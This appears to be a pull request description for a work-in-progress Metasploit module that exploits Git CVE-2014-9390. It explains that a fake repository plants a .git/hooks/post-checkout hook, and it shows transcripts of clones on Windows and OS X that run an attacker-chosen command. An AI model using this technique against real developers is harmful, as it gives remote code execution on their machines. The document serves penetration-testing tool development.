Add WIP module for Git CVE-2014-9390

This doesn't (yet) spawn a shell, but will execute commands of our choosing when a vulnerable client clones our fake repository and ```PAYLOAD``` == ```cmd/unix/generic```.  In addition to my lack of familiarity with exploit modules, I think that I need to rethink how the malicious repository is constructed in order to spawn shells that metasploit can automatically connect to (```regenerate_payload``` seem relevant).

This is a WIP and I welcome anyone else to assist with this PR in making it complete.

Fixes #4435.

Example:

```
msf exploit(git_cve_2014_9390) > run
[*] Exploit running as background job.
msf exploit(git_cve_2014_9390) > 
[*] Using URL: http://0.0.0.0:8080/git-got
[*]  Local IP: http://172.16.10.226:8080/git-got
[*] Server started.
```

Then on a Windows system, I clone the malicious repo and see that ```/tmp/id``` contains my command output:

```
Administrator@win7-git ~
$ rm -f /tmp/id && rm -Rf bad && /cygdrive/c/Program\ Files\ \(x86\)/Git/bin/git clone http://localhost:8080/git-got bad && cat /tmp/id
Cloning into 'bad'...
uid=500(Administrator) gid=544(Administrators) groups=544(Administrators)
```

Similarly on a vulnerable OS X host:

```
c107unpatched:tmp admin$ rm -f /tmp/id && git clone http://localhost:8080/git-got && cat /tmp/id
Cloning into 'git-got'...
Checking connectivity... done
uid=501(admin) gid=20(staff) groups=20(staff),401(com.apple.access_screensharing),12(everyone),33(_appstore),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),100(_lpoperator),204(_developer),402(com.apple.sharepoint.group.1)
```

And on an unaffected Linux host:

```
$  git clone http://localhost:8080/git-got
Cloning into 'git-got'...
error: Invalid path '.git/hooks/post-checkout'
```
since unix is not affected, should be windows and/or osx?